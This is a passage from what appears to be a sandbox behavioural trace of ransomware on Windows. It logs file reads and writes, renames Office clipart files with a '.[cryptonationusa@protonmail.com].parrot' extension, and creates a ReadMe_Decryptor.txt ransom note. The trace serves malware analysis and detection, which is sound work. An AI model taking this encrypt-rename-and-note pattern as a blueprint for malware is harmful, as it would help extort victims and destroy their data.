hHeap=0x5b0000) returned 1 [0141.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0141.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0141.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0141.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0141.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0141.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0141.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0141.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0141.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0141.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0141.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0141.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0141.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0141.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0141.393] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0141.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0141.393] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0141.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0141.393] WriteFile (in: hFile=0x288, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x14d8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18eed4*=0x14d8, lpOverlapped=0x0) returned 1 [0141.394] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0141.394] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.394] CloseHandle (hObject=0x288) returned 1 [0141.394] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.394] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a3268 [0141.395] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0141.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.395] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0141.395] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.395] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0141.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0141.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0141.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0141.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0141.397] GetFileType (hFile=0x288) returned 0x1 [0141.397] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0141.407] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x139c, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.407] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.407] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.409] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.409] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1284, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1284, lpOverlapped=0x0) returned 1 [0141.410] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.410] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0141.410] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0141.410] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0141.410] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0141.410] GetLastError () returned 0x0 [0141.410] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.410] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.410] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0141.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0141.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0141.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0141.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0141.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0141.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0141.412] WriteFile (in: hFile=0x288, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x13a8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18eed4*=0x13a8, lpOverlapped=0x0) returned 1 [0141.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0141.413] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x139c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.413] CloseHandle (hObject=0x288) returned 1 [0141.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0141.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0141.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0141.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0141.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0141.416] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1814, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.416] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.416] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.418] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.418] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16fc, lpOverlapped=0x0) returned 1 [0141.418] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.418] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0141.418] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0141.418] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0141.418] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0141.418] GetLastError () returned 0x0 [0141.419] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0141.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0141.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0141.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0141.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0141.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0141.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0141.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0141.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0141.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0141.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0141.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0141.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0141.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0141.420] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0141.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0141.420] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0141.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0141.420] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0141.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0141.420] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0141.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0141.420] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0141.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0141.420] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0141.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0141.420] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0141.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0141.420] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0141.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0141.420] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0141.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0141.420] WriteFile (in: hFile=0x288, lpBuffer=0x639240*, nNumberOfBytesToWrite=0x1818, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x639240*, lpNumberOfBytesWritten=0x18eed4*=0x1818, lpOverlapped=0x0) returned 1 [0141.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0141.421] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1814, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.421] CloseHandle (hObject=0x288) returned 1 [0141.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0141.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0141.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0141.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0141.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0141.424] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.424] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.424] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.463] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.464] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1294, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1294, lpOverlapped=0x0) returned 1 [0141.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0141.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0141.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0141.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0141.465] GetLastError () returned 0x0 [0141.465] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0141.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0141.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0141.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0141.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0141.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0141.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0141.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0141.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0141.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0141.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0141.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0141.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0141.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0141.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0141.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0141.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0141.466] 